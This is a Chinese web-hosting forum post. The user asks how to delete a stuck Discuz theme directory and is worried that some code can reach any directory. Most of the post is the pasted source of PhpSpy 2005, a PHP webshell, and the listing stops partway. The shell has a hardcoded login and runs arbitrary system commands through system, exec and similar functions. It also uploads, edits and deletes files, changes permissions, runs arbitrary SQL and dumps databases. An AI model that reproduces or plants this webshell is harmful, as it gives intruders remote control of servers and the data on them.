梦飞，管理员，高手，我求助

我是按照梦飞大哥写的教程作的，感觉很好，学到很多东东，现在有两个技术问提，请教大哥
第一，我安装dz后安装风格，没有安装成功的，我想用ftp删了风格目录，提示无限删除，想改变成777也不行。这个问提，我问了不少人，有人说应该让php生成的时候设成777，可是我不知道如何操作，总不能我每次都上去chmod吧，希望各位给支支招。
第二点更可怕。用下边的代码可以到任意目录

1. <?php
   
2. /*
   
3. +--------------------------------------------------------------------------+
   
4. | str_replace("-", "", "P-h-p-S-p-y") Version:2005 Full                    |
   
5. | Codz by Angel                                                            |
   
6. | (c) 2004 Security Angel Team                                             |
   
7. | http://www.4ngel.net                                                     |
   
8. | ======================================================================== |
   
9. | Team:  http://www.4ngel.net                                              |
   
10. |        http://www.bugkidz.org                                            |
    
11. | Email: 4ngel@21cn.com                                                    |
    
12. | Date:  Dec 28st(My girl friend's birthday), 2004                         |
    
13. +--------------------------------------------------------------------------+
    
14. */
    
15. 
    
16. error_reporting(7);
    
17. ob_start();
    
18. $mtime = explode(' ', microtime());
    
19. $starttime = $mtime[1] + $mtime[0];
    
20. 
    
21. /*===================== 程序配置 =====================*/
    
22. 
    
23. // 是否需要密码验证,1为需要验证,其他数字为直接进入.下面选项则无效
    
24. $admin['check']="1";
    
25. 
    
26. // 验证方式,1为采用 Session 验证,其他数字则采用 Cookie验证
    
27. // 默认采用 Session 验证,如果不能正常登陆,建议改为 Cookie验证
    
28. $admin['checkmode']="1";
    
29. 
    
30. // 如果需要密码验证,请修改登陆密码
    
31. $admin['pass']="angel";
    
32. 
    
33. /*===================== 配置结束 =====================*/
    
34. 
    
35. 
    
36. // 允许程序在 register_globals = off 的环境下工作
    
37. if ( function_exists('ini_get') ) {
    
38.    $onoff = ini_get('register_globals');
    
39. } else {
    
40.    $onoff = get_cfg_var('register_globals');
    
41. }
    
42. if ($onoff != 1) {
    
43.    @extract($_POST, EXTR_SKIP);
    
44.    @extract($_GET, EXTR_SKIP);
    
45. }
    
46. 
    
47. $self = $_SERVER['PHP_SELF'];
    
48. 
    
49. /*===================== 身份验证 =====================*/
    
50. if($admin['check']=="1") {
    
51.    if($admin['checkmode']=="1") {
    
52.    /*------- session 验证 -------*/
    
53.       session_start();
    
54.       if ($_GET['action'] == "logout") {
    
55.          session_destroy();
    
56.          echo "<meta http-equiv="refresh" content="3;URL=".$self."">";
    
57.          echo "<span style="font-size: 12px; font-family: Verdana">注销成功......<p><a href="".$self."">三秒后自动退出或单击这里退出程序界面&&&</a></span>";
    
58.          exit;
    
59.       }
    
60.       if ($login) {
    
61.          $adminpass=trim($_POST['adminpass']);
    
62.          if ($adminpass==$admin['pass']) {
    
63.             $_SESSION['adminpass'] = $admin['pass'];
    
64.             echo "<meta http-equiv="refresh" content="3;URL=".$self."">";
    
65.             echo "<span style="font-size: 12px; font-family: Verdana">登陆成功......<p><a href="".$self."">三秒后自动跳转或单击这里进入程序界面&&&</a></span>";
    
66.             exit;
    
67.          }
    
68.       }
    
69.       if (session_is_registered('adminpass')) {
    
70.          if ($_SESSION['adminpass']!=$admin['pass']) {
    
71.             loginpage();
    
72.          }
    
73.       } else {
    
74.          loginpage();
    
75.       }
    
76.    } else {
    
77.    /*------- cookie 验证 -------*/
    
78.       if ($_GET['action'] == "logout") {
    
79.          setcookie ("adminpass", "");
    
80.          echo "<meta http-equiv="refresh" content="3;URL=".$self."">";
    
81.          echo "<span style="font-size: 12px; font-family: Verdana">注销成功......<p><a href="".$self."">三秒后自动退出或单击这里退出程序界面&&&</a></span>";
    
82.          exit;
    
83.       }
    
84.       if ($login) {
    
85.          $adminpass=trim($_POST['adminpass']);
    
86.          if ($adminpass==$admin['pass']) {
    
87.             setcookie ("adminpass",$admin['pass'],time()+(1*24*3600));
    
88.             echo "<meta http-equiv="refresh" content="3;URL=".$self."">";
    
89.             echo "<span style="font-size: 12px; font-family: Verdana">登陆成功......<p><a href="".$self."">三秒后自动跳转或单击这里进入程序界面&&&</a></span>";
    
90.             exit;
    
91.          }
    
92.       }
    
93.       if (isset($_COOKIE['adminpass'])) {
    
94.          if ($_COOKIE['adminpass']!=$admin['pass']) {
    
95.             loginpage();
    
96.          }
    
97.       } else {
    
98.          loginpage();
    
99.       }
    
100.    }
     
101. 
     
102. }//end check
     
103. /*===================== 验证结束 =====================*/
     
104. 
     
105. // 判断 magic_quotes_gpc 状态
     
106. if (get_magic_quotes_gpc()) {
     
107.     $_GET = stripslashes_array($_GET);
     
108.    $_POST = stripslashes_array($_POST);
     
109. }
     
110. 
     
111. if ($_GET['action'] == "phpinfo") {
     
112.    $dis_func = get_cfg_var("disable_functions");
     
113.    echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数已被禁用,请查看&PHP环境变量&";
     
114.    exit;
     
115. }
     
116. 
     
117. // 下载文件
     
118. if (!empty($downfile)) {
     
119.    if (!@file_exists($downfile)) {
     
120.       echo "<script>alert('你要下的文件不存在!')</script>";
     
121.    } else {
     
122.       $filename = basename($downfile);
     
123.       $filename_info = explode('.', $filename);
     
124.       $fileext = $filename_info[count($filename_info)-1];
     
125.       header('Content-type: application/x-'.$fileext);
     
126.       header('Content-Disposition: attachment; filename='.$filename);
     
127.       header('Content-Description: PHP Generated Data');
     
128.       header('Content-Length: '.filesize($downfile));
     
129.       @readfile($downfile);
     
130.       exit;
     
131.    }
     
132. }
     
133. 
     
134. 
     
135. 
     
136. // 程序目录
     
137. $pathname=str_replace('\\','/',dirname(__FILE__));
     
138. 
     
139. // 获取当前路径
     
140. if (!isset($dir) or empty($dir)) {
     
141.    $dir = ".";
     
142.    $nowpath = getPath($pathname, $dir);
     
143. } else {
     
144.    $dir=$_GET['dir'];
     
145.    $nowpath = getPath($pathname, $dir);
     
146. }
     
147. 
     
148. // 判断读写情况
     
149. if (dir_writeable($nowpath)) {
     
150.    $dir_writeable = "可写";
     
151. } else {
     
152.    $dir_writeable = "不可写";
     
153. }
     
154. 
     
155. $dis_func = get_cfg_var("disable_functions");
     
156. $phpinfo=(!eregi("phpinfo",$dis_func)) ? " | <a href="?action=phpinfo" target="_blank">PHPINFO()</a>" : "";
     
157. $shellmode=(!get_cfg_var("safe_mode")) ? " | <a href="?action=shell">WebShell</a>" : "";
     
158. ?>
     
159. <html>
     
160. <head>
     
161. <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
     
162. <title>PhpSpy Ver 2005</title>
     
163. <style type="text/css">
     
164. body,td {
     
165.    font-family: "sans-serif";
     
166.    font-size: "12px";
     
167.    line-height: "150%";
     
168. }
     
169. .smlfont {
     
170.    font-family: "sans-serif";
     
171.    font-size: "11px";
     
172. }
     
173. .INPUT {
     
174.    FONT-SIZE: "12px";
     
175.    COLOR: "#000000";
     
176.    BACKGROUND-COLOR: "#FFFFFF";
     
177.    height: "18px";
     
178.    border: "1px solid #666666";
     
179. }
     
180. .redfont {
     
181.    COLOR: "#A60000";
     
182. }
     
183. a:link,
     
184. a:visited,
     
185. a:active{
     
186.    color: "#000000";
     
187.    text-decoration: underline;
     
188. }
     
189. a:hover{
     
190.    color: "#465584";
     
191.    text-decoration: none;
     
192. }
     
193. .firstalt   {BACKGROUND-COLOR: "#EFEFEF"}
     
194. .secondalt   {BACKGROUND-COLOR: "#F5F5F5"}
     
195. </style>
     
196. <SCRIPT language=JavaScript>
     
197. function CheckAll(form)
     
198. {
     
199.    for (var i=0;i<form.elements.length;i++)
     
200.    {
     
201.       var e = form.elements[i];
     
202.       if (e.name != 'chkall')
     
203.       e.checked = form.chkall.checked;
     
204.     }
     
205. }
     
206. </SCRIPT>
     
207. </head>
     
208. 
     
209. <body style="table-layout:fixed; word-break:break-all">
     
210. <center>
     
211. <table width="760" border="0" cellpadding="3" cellspacing="0" bgcolor="#ffffff">
     
212.   <tr bgcolor="#cccccc">
     
213.     <td width="375" align="right" nowrap><b><?=$_SERVER['HTTP_HOST']?></b></td>
     
214.     <td width="10" align="center" nowrap><b>:</b></td>
     
215.     <td width="375" nowrap><b><?=$_SERVER['REMOTE_ADDR']?></b></td>
     
216.   </tr>
     
217.   <tr>
     
218.     <td colspan="3" align="center" nowrap><a href="?action=logout">注销会话</a> | <a href="?action=dir">返回 PhpSpy 目录</a> | <a href="?action=phpenv">PHP环境变量</a><?=$phpinfo?><?=$shellmode?> | <a href="?action=sql">SQL Query</a> | <a href="?action=sqlbak">MySQL Backup</a> | <a href="http://www.4ngel.net" target="_blank" title="下载此程序">Version 2005</a></td>
     
219.   </tr>
     
220. </table>
     
221. <hr width="760" noshade>
     
222. <table width="760" border="0" cellpadding="0">
     
223. <form action="" method="GET">
     
224.   <tr>
     
225.     <td><p>程序路径:<?=$pathname?><br>当前目录(<?=$dir_writeable?>,<?=substr(base_convert(@fileperms($nowpath),10,8),-4);?>):<?=$nowpath?>
     
226.         <br>跳转目录:
     
227.         <input name="dir" type="text" class="INPUT">
     
228.         <input type="submit" class="INPUT" value="确定"> 〖支持绝对路径和相对路径〗
     
229.     </p></td>
     
230.   </tr>
     
231. </form>
     
232. <form action="?dir=<?=urlencode($dir)?>" method="POST" enctype="multipart/form-data">
     
233.   <tr>
     
234.     <td colspan="2">上传文件到当前目录:
     
235.       <input name="uploadmyfile" type="file" class="INPUT">   <input type="submit" name="uploadfile" class="INPUT" value="确定">
     
236.       <input type="hidden" name="uploaddir" value="<?=$dir?>"></td>
     
237.   </tr>
     
238.   </form>
     
239.   <form action="?action=editfile&dir=<?=urlencode($dir)?>" method="POST">
     
240.   <tr>
     
241.     <td colspan="2">新建文件在当前目录:
     
242.         <input name="newfile" type="text" class="INPUT" value="">
     
243.         <input type="submit" class="INPUT" name="createfile" value="确定"></td>
     
244.   </tr>
     
245.   </form>
     
246.   <form action="" method="POST">
     
247.   <tr>
     
248.     <td colspan="2">新建目录在当前目录:
     
249.         <input name="newdirectory" type="text" class="INPUT" value="">
     
250.         <input type="submit" class="INPUT" name="createdirectory" value="确定"></td>
     
251.   </tr>
     
252.   </form>
     
253. </table>
     
254. <hr width="760" noshade>
     
255. <?php
     
256. /*===================== 执行操作 开始 =====================*/
     
257. echo "<p><b>\n";
     
258. // 删除文件
     
259. if(@$delfile!="") {
     
260.    if(file_exists($delfile)) {
     
261.       if (@unlink($delfile)) {
     
262.          echo "".$delfile." 删除成功!";
     
263.       } else {
     
264.          echo "文件删除失败!";
     
265.       }
     
266.    } else {
     
267.       echo "文件已不存在,删除失败!";
     
268.    }
     
269. }
     
270. 
     
271. // 删除目录
     
272. elseif($rmdir) {
     
273.    if($deldir!="") {
     
274.       $deldirs="$dir/$deldir";
     
275.       if(!file_exists("$deldirs")) {
     
276.          echo "目录已不存在!";
     
277.       } else {
     
278.          deltree($deldirs);
     
279.       }
     
280.    } else {
     
281.       echo "删除失败!";
     
282.    }
     
283. }
     
284. 
     
285. // 创建目录
     
286. elseif($createdirectory) {
     
287.    if(!empty($newdirectory)) {
     
288.       $mkdirs="$dir/$newdirectory";
     
289.       if(file_exists("$mkdirs")) {
     
290.          echo "该目录已存在!";
     
291.       } else {
     
292.          echo $msg=@mkdir("$mkdirs",0777) ? "创建目录成功!" : "创建失败!";
     
293.          @chmod("$mkdirs",0777);
     
294.       }
     
295.    }
     
296. }
     
297. 
     
298. // 上传文件
     
299. elseif($uploadfile) {
     
300.    echo $msg=@copy($_FILES['uploadmyfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadmyfile']['name']."") ? "上传成功!" : "上传失败!";
     
301. }
     
302. 
     
303. // 编辑文件
     
304. elseif($doeditfile) {
     
305.    $filename="$editfilename";
     
306.    @$fp=fopen("$filename","w");
     
307.    echo $msg=@fwrite($fp,$_POST['filecontent']) ? "写入文件成功!" : "写入失败!";
     
308.    @fclose($fp);
     
309. }
     
310. 
     
311. // 编辑文件属性
     
312. elseif($editfileperm) {
     
313.    $fileperm=base_convert($_POST['fileperm'],8,10);
     
314.    echo $msg=@chmod($dir."/".$file,$fileperm) ? "属性修改成功!" : "修改失败!";
     
315.    echo " [".$file."] 修改后的属性为:".substr(base_convert(@fileperms($dir."/".$file),10,8),-4)."";
     
316. }
     
317. 
     
318. // 连接MYSQL
     
319. elseif($connect) {
     
320.    if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) {
     
321.       echo "数据库连接成功!";
     
322.       mysql_close();
     
323.    } else {
     
324.       echo mysql_error();
     
325.    }
     
326. }
     
327. 
     
328. // 执行SQL语句
     
329. elseif($doquery) {
     
330.    @mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");
     
331.    @mysql_select_db($dbname) or die("选择数据库失败");
     
332.    $result = @mysql_query($_POST['sql_query']);
     
333.    echo ($result) ? "SQL语句成功执行" : "出错: ".mysql_error();
     
334.    mysql_close();
     
335. }
     
336. 
     
337. // 备份操作
     
338. elseif ($dobackup) {
     
339.    if (empty($_POST[table])) {
     
340.       echo "请选择欲备份的数据表";
     
341.    } else {
     
342.       @mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");
     
343.       @mysql_select_db($dbname) or die("选择数据库失败");   
     
344.       $table = array_flip($_POST[table]);
     
345.       $filehandle = @fopen($path,"w");
     
346.       if ($filehandle) {
     
347.          $result = mysql_query("SHOW tables");
     
348.          echo ($result) ? NULL : "出错: ".mysql_error();
     
349.          while ($currow = mysql_fetch_array($result)) {
     
350.             if (isset($table[$currow[0]])) {
     
351.                sqldumptable($currow[0], $filehandle);
     
352.                fwrite($filehandle,"\n\n\n");
     
353.             }
     
354.          }
     
355.          fclose($filehandle);
     
356.          echo "数据库已成功备份到 <a href="".$path."" target="_blank">".$path."</a>";
     
357.          mysql_close();
     
358.       } else {
     
359.          echo "备份失败,请确认目标文件夹是否具有可写权限.";
     
360.       }
     
361.    }
     
362. }
     
363. 
     
364. // 打包下载 PS:文件太大可能非常慢
     
365. // Thx : 小花
     
366. elseif($downrar) {
     
367.    if ($dl != "") {
     
368.       $dfiles="";
     
369.       foreach ($dl AS $filepath=>$value) {
     
370.          $dfiles.=$filepath.",";
     
371.       }
     
372.       $dfiles=substr($dfiles,0,strlen($dfiles)-1);
     
373.       $dl=explode(",",$dfiles);
     
374. 
     
375.       $zip=new PHPZip($dl);
     
376.       $code=$zip->out;
     
377.       $filename=$_POST['rarfile'];
     
378.       
     
379.       header("Content-type: application/octet-stream");
     
380.       header("Accept-Ranges: bytes");
     
381.       header("Accept-Length: ".strlen($code));
     
382.       header("Content-Disposition: attachment;filename=".$filename);
     
383.       echo $code;
     
384.       exit;
     
385.    } else {
     
386.       echo "请选择要打包下载的文件.";
     
387.    }
     
388. }
     
389. 
     
390. // 查看PHP配置参数状况
     
391. elseif($viewphpvar) {
     
392.    echo "配置参数 ".$_POST['phpvarname']." 检测结果: ".getphpcfg($_POST['phpvarname'])."";
     
393. }
     
394. 
     
395. else {
     
396.    echo "本程序由 <a href="http://www.4ngel.net" target="_blank">Security Angel</a> 小组 angel [<a href="http://www.bugkidz.org" target="_blank">BST</a>] 独立开发,可在 <a href="http://www.4ngel.net" target="_blank">www.4ngel.net</a> 下载最新版本.";
     
397. }
     
398. 
     
399. echo "</b></p>\n";
     
400. /*===================== 执行操作 结束 =====================*/
     
401. 
     
402. if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
     
403. ?>
     
404. <table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
     
405.   <tr bgcolor="#cccccc">
     
406.     <td align="center" nowrap width="30%"><b>文件</b></td>
     
407.    <td align="center" nowrap width="17%"><b>创建日期</b></td>
     
408.     <td align="center" nowrap width="17%"><b>最后修改</b></td>
     
409.     <td align="center" nowrap width="12%"><b>大小</b></td>
     
410.     <td align="center" nowrap width="7%"><b>属性</b></td>
     
411.     <td align="center" nowrap width="17%"><b>操作</b></td>
     
412.   </tr>
     
413. <?php
     
414. // 目录列表
     
415. $dirs=@opendir($dir);
     
416. while ($file=@readdir($dirs)) {
     
417.    $filepath="$dir/$file";
     
418.    $a=@is_dir($filepath);
     
419.    if($a=="1"){
     
420.       if($file!=".." && $file!=".")   {
     
421.          $ctime=@date("Y-m-d H:i:s",@filectime($filepath));
     
422.          $mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
     
423.          $dirperm=substr(base_convert(fileperms($filepath),10,8),-4);
     
424.          echo "<tr class=".getrowbg().">\n";
     
425.          echo "  <td style="padding-left: 5px;">[<a href="?dir=".urlencode($dir)."/".urlencode($file).""><font color="#006699">$file</font></a>]</td>\n";
     
426.          echo "  <td align="center" nowrap valign="top" class="smlfont">$ctime</td>\n";
     
427.          echo "  <td align="center" nowrap valign="top" class="smlfont">$mtime</td>\n";
     
428.          echo "  <td align="center" nowrap valign="top" class="smlfont">&dir&</td>\n";
     
429.          echo "  <td align="center" nowrap valign="top" class="smlfont"><a href="?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."">$dirperm</a></td>\n";
     
430.          echo "  <td align="center" nowrap valign="top"><a href="?action=deldir&dir=".urlencode($dir)."&deldir=".urlencode($file)."">删除</a></td>\n";
     
431.          echo "</tr>\n";
     
432.          $dir_i++;
     
433.       } else {
     
434.          if($file=="..") {
     
435.             echo "<tr class=".getrowbg().">\n";
     
436.             echo "  <td nowrap colspan="6" style="padding-left: 5px;"><a href="?dir=".urlencode($dir)."/".urlencode($file)."">返回上级目录</a></td>\n";
     
437.             echo "</tr>\n";
     
438.          }
     
439.       }
     
440.    }
     
441. }//while
     
442. @closedir($dirs);
     
443. ?>
     
444. <tr bgcolor="#cccccc">
     
445.   <td colspan="6" height="5"></td>
     
446. </tr>
     
447. <FORM action="" method="POST">
     
448. <?
     
449. // 文件列表
     
450. $dirs=@opendir($dir);
     
451. while ($file=@readdir($dirs)) {
     
452.    $filepath="$dir/$file";
     
453.    $a=@is_dir($filepath);
     
454.    if($a=="0"){
     
455.       $size=@filesize($filepath);
     
456.       $size=$size/1024 ;
     
457.       $size= @number_format($size, 3);
     
458.       if (@filectime($filepath) == @filemtime($filepath)) {
     
459.          $ctime=@date("Y-m-d H:i:s",@filectime($filepath));
     
460.          $mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
     
461.       } else {
     
462.          $ctime="<span class="redfont">".@date("Y-m-d H:i:s",@filectime($filepath))."</span>";
     
463.          $mtime="<span class="redfont">".@date("Y-m-d H:i:s",@filemtime($filepath))."</span>";
     
464.       }
     
465.       @$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
     
466.       echo "<tr class=".getrowbg().">\n";
     
467.       echo "  <td style="padding-left: 5px;"><INPUT type=checkbox value=1 name=dl[$filepath]><a href="$filepath" target="_blank">$file</a></td>\n";
     
468.       echo "  <td align="center" nowrap valign="top" class="smlfont">$ctime</td>\n";
     
469.       echo "  <td align="center" nowrap valign="top" class="smlfont">$mtime</td>\n";
     
470.       echo "  <td align="right" nowrap valign="top" class="smlfont"><span class="redfont">$size</span> KB</td>\n";
     
471.       echo "  <td align="center" nowrap valign="top" class="smlfont"><a href="?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."">$fileperm</a></td>\n";
     
472.       echo "  <td align="center" nowrap valign="top"><a href="?downfile=".urlencode($filepath)."">下载</a> | <a href="?action=editfile&dir=".urlencode($dir)."&editfile=".urlencode($file)."">编辑</a> | <a href="?dir=".urlencode($dir)."&delfile=".urlencode($filepath)."">删除</a></td>\n";
     
473.       echo "</tr>\n";
     
474.       $file_i++;
     
475.    }
     
476. }
     
477. @closedir($dirs);
     
478. ?>
     
479. <tr class="<?=getrowbg()?>">
     
480.   <td nowrap colspan="6"><table width="100%" border="0" cellpadding="2" cellspacing="0" align="center">
     
481.     <tr>
     
482.       <td><INPUT onclick="CheckAll(this.form)" type="checkbox" value="on" name="chkall"> <input name="rarfile" type="text" class="INPUT" value="<?=$_SERVER['HTTP_HOST']?>_Files.rar"> <input type="submit" name="downrar" value="选中文件打包下载" class="INPUT"></td>
     
483.       <td align="right"><?=$dir_i?> 个目录 / <?=$file_i?> 个文件</td>
     
484.     </tr>
     
485.   </table></td>
     
486. </tr>
     
487. </FORM>
     
488. </table>
     
489. 
     
490. <?php
     
491. }// end dir
     
492. 
     
493. elseif ($_GET['action'] == "editfile") {
     
494.    if($newfile=="") {
     
495.       $filename="$dir/$editfile";
     
496.       $fp=@fopen($filename,"r");
     
497.       $contents=@fread($fp, filesize($filename));
     
498.       @fclose($fp);
     
499.       $contents=htmlspecialchars($contents);
     
500.    }else{
     
501.       $editfile=$newfile;
     
502.       $filename = "$dir/$editfile";
     
503.    }
     
504. ?>
     
505. <table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
     
506.   <tr class="firstalt">
     
507.     <td align="center">新建/编辑文件 [<a href="?dir=<?=urlencode($dir)?>">返回</a>]</td>
     
508.   </tr>
     
509.   <form action="?dir=<?=urlencode($dir)?>" method="POST">
     
510.   <tr class="secondalt">
     
511.     <td align="center">当前文件:<input class="input" type="text" name="editfilename" size="30"
     
512. value="<?=$filename?>"> 输入新文件名则建立新文件</td>
     
513.   </tr>  
     
514.   <tr class="firstalt">
     
515.     <td align="center"><textarea name="filecontent" cols="100" rows="20"><?=$contents?></textarea></td>
     
516.   </tr>  
     
517.   <tr class="secondalt">
     
518.     <td align="center"><input type="submit" name="doeditfile" value="确定写入" class="input">
     
519.       <input type="reset" value="重置" class="input"></td>
     
520.   </tr>
     
521.   </form>
     
522. </table>
     
523. <?php
     
524. }//end editfile
     
525. 
     
526. elseif ($_GET['action'] == "shell") {
     
527.    if (!get_cfg_var("safe_mode")) {
     
528. ?>
     
529. <table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
     
530.   <tr class="firstalt">
     
531.     <td align="center">WebShell Mode</td>
     
532.   </tr>
     
533.   <form action="?action=shell&dir=<?=urlencode($dir)?>" method="POST">
     
534.   <tr class="secondalt">
     
535.     <td align="center">提示:如果输出结果不完全,建议把输出结果写入文件.这样可以得到全部内容.</td>
     
536.   </tr>
     
537.   <tr class="firstalt">
     
538.     <td align="center">
     
539.      选择执行函数:
     
540.      <select name="execfunc" class="input">
     
541.       <option value="system" <? if ($execfunc=="system") { echo "selected"; } ?>>system</option>
     
542.       <option value="passthru" <? if ($execfunc=="passthru") { echo "selected"; } ?>>passthru</option>
     
543.       <option value="exec" <? if ($execfunc=="exec") { echo "selected"; } ?>>exec</option>
     
544.       <option value="shell_exec" <? if ($execfunc=="shell_exec") { echo "selected"; } ?>>shell_exec</option>
     
545.       <option value="popen" <? if ($execfunc=="popen") { echo "selected"; } ?>>popen</option>
     
546.      </select>　
     
547.      输入命令:
     
548.       <input type="text" name="command" size="60" value="<?=$_POST['command']?>" class="input">
     
549.       <input type="submit" value="execute" class="input"></td>
     
550.   </tr>  
     
551.   <tr class="secondalt">
     
552.     <td align="center"><textarea name="textarea" cols="100" rows="25" readonly><?php
     
553.    if (!empty($_POST['command'])) {
     
554.       if ($execfunc=="system") {
     
555.          system($_POST['command']);
     
556.       } elseif ($execfunc=="passthru") {
     
557.          passthru($_POST['command']);
     
558.       } elseif ($execfunc=="exec") {
     
559.          $result = exec($_POST['command']);
     
560.          echo $result;
     
561.       } elseif ($execfunc=="shell_exec") {
     
562.          $result=shell_exec($_POST['command']);
     
563.          echo $result;   
     
564.       } elseif ($execfunc=="popen") {
     
565.          $pp = popen($_POST['command'], 'r');
     
566.          $read = fread($pp, 2096);
     
567.          echo $read;
     
568.          pclose($pp);
     
569.       } else {
     
570.          system($_POST['command']);
     
571.       }
     
572.    }
     
573.    ?></textarea></td>
     
574.   </tr>  
     
575.   </form>
     
576. </table>
     
577. <?php
     
578.    } else {
     
579. ?>
     
580. <p><b>Safe_Mode 已打开, 无法执行系统命令.</b></p>
     
581. <?php
     
582.    }
     
583. }//end shell
     
584. 
     
585. elseif ($_GET['action'] == "deldir") {
     
586. ?>
     
587. <table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
     
588.   <form action="?dir=<?=urlencode($dir)?>" method="POST">
     
589.   <tr class="firstalt">
     
590.     <td align="center">删除 <input name="deldir" type="text" value="<?=$deldir?>" class="input" readonly> 目录</td>
     
591.   </tr>  
     
592.   <tr class="secondalt">
     
593.     <td align="center">注意:如果该目录非空,此次操作将会删除该目录下的所有文件.您确定吗?</td>
     
594.   </tr>  
     
595.   <tr class="firstalt">
     
596.     <td align="center">
     
597.      <input type="submit" name="rmdir" value="delete" class="input">
     
598.    </td>
     
599.   </tr>  
     
600.   </form>
     
601. </table>
     
602. <?php
     
603. }//end deldir
     
604. 
     
605. elseif ($_GET['action'] == "fileperm") {
     
606. ?>
     
607. <table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
     
608.   <tr class="firstalt">
     
609.     <td align="center">修改文件属性 [<a href="?dir=<?=urlencode($dir)?>">返回</a>]</td>
     
610.   </tr>
     
611.   <form action="?dir=<?=urlencode($dir)?>" method="POST">
     
612.   <tr class="secondalt">
     
613.     <td align="center"><input name="file" type="text" value="<?=$file?>" class="input" readonly> 的属性为:
     
614.       <input type="text" name="fileperm" size="20" value="<?=substr(base_convert(fileperms($dir."/".$file),10,8),-4)?>" class="input">
     
615.      <input name="dir" type="hidden" value="<?=urlencode($dir)?>">
     
616.      <input type="submit" name="editfileperm" value="modify" class="input"></td>
     
617.   </tr>  
     
618.   </form>
     
619. </table>
     
620. <?php
     
621. }//end fileperm
     
622. 
     
623. elseif ($_GET['action'] == "sql") {
     
624.    $servername = isset($servername) ? $servername : 'localhost';
     
625.    $dbusername = isset($dbusername) ? $dbusername : 'root';
     
626.    $dbpassword = isset($dbpassword) ? $dbpassword : '';
     
627.    $dbname = isset($dbname) ? $dbname : '';
     
628. ?>
     
629. <table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
     
630.   <tr class="firstalt">
     
631.     <td align="center">执行 SQL 语句</td>
     
632.   </tr>
     
633.   <form action="?action=sql" method="POST">
     
634.   <tr class="secondalt">
     
635.     <td align="center">Host:
     
636.     <input name="servername" type="text" class="INPUT" value="<?=$servername?>">
     
637.     User:
     
638.     <input name="dbusername" type="text" class="INPUT" size="15" value="<?=$dbusername?>">
     
639.     Pass:
     
640.     <input name="dbpassword" type="text" class="INPUT" size="15" value="<?=$dbpassword?>">
     
641.     DB:
     
642.     <input name="dbname" type="text" class="INPUT" size="15" value="<?=$dbname?>">
     
643.     <input name="connect" type="submit" class="INPUT" value="连接"></td>
     
644.   </tr>
     
645.   <tr class="firstalt">
     
646.     <td align="center"><textarea name="sql_query" cols="85" rows="10"></textarea></td>
     
647.   </tr>
     
648.   <tr class="secondalt">
     
649.     <td align="center"><input type="submit" name="doquery" value="执行" class="input"></td>
     
650.   </tr>  
     
651.   </form>
     
652. </table>
     
653. <?php
     
654. }//end sql query
     
655. 
     
656. elseif ($_GET['action'] == "sqlbak") {
     
657.    $servername = isset($servername) ? $servername : 'localhost';
     
658.    $dbusername = isset($dbusername) ? $dbusername : 'root';
     
659.    $dbpassword = isset($dbpassword) ? $dbpassword : '';
     
660.    $dbname = isset($dbname) ? $dbname : '';
     
661. ?>
     
662. <table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
     
663.   <tr class="firstalt">
     
664.     <td align="center">备份 MySQL 数据库</td>
     
665.   </tr>
     
666.   <form action="?action=sqlbak" method="POST">
     
667.   <tr class="secondalt">
     
668.     <td align="center">Host:
     
669.     <input name="servername" type="text" class="INPUT" value="<?=$servername?>">
     
670.     User:
     
671.     <input name="dbusername" type="text" class="INPUT" size="15" value="<?=$dbusername?>">
     
672.     Pass:
     
673.     <input name="dbpassword" type="text" class="INPUT" size="15" value="<?=$dbpassword?>">
     
674.     DB:
     
675.     <input name="dbname" type="text" class="INPUT" size="15" value="<?=$dbname?>">
     
676.     <input name="connect" type="submit" class="INPUT" value="连接"></td>
     
677.   </tr>
     
678.   <?php
     
679.    @mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname);
     
680.     $tables = @mysql_list_tables($dbname);
     
681.     while ($table = @mysql_fetch_row($tables)) {
     
682.       $cachetables[$table[0]] = $table[0];
     
683.     }
     
684.     @mysql_free_result($tables);
     
685. 
     
686.    if (empty($cachetables)) {
     
687.       echo "<tr>\n";
     
688.       echo "  <td align="center" class="firstalt"><b>您没有连接数据库 or 当前数据库没有任何数据表</b></td>\n";
     
689.       echo "</tr>\n";
     
690.    } else {
     
691.    ?>
     
692.    <tr>
     
693.      <td align="center" class="secondalt"><table border="0" cellpadding="3" cellspacing="1"><tr>
     
694.      <td valign="top">请选择表:</td>
     
695.      <td><select name="table[]" multiple size="15">
     
696.    <?php
     
697.    if (is_array($cachetables)) {
     
698.       foreach ($cachetables AS $key=>$value) {
     
699.          echo "<option value="$key">$value</option>\n";
     
700.       }
     
701.    }
     
702.    ?>
     
703.    </select></td>
     
704.    </tr>
     
705.    <tr nowrap>
     
706.      <td>备份数据所保存的路径:</td>
     
707.      <td><input type="text" class="INPUT" name="path" size="50" maxlength="50" value="./<?=$_SERVER['HTTP_HOST']?>_MySQL.sql"></td>
     
708.    </tr>
     
709.    </table></td>
     
710.    </tr>
     
711.    <tr>
     
712.      <td align="center" class="firstalt"><input type="submit" name="dobackup" value="开始备份" class="INPUT"></td>
     
713.    </tr>
     
714.    <?php
     
715.    }
     
716.    echo "  </form>\n";
     
717.    echo "</table>\n";
     
718.    @mysql_close();
     
719. }//end sql backup
     
720. 
     
721. elseif ($_GET['action'] == "phpenv") {
     
722.    $upsize=get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "不允许上传";
     
723. 
     
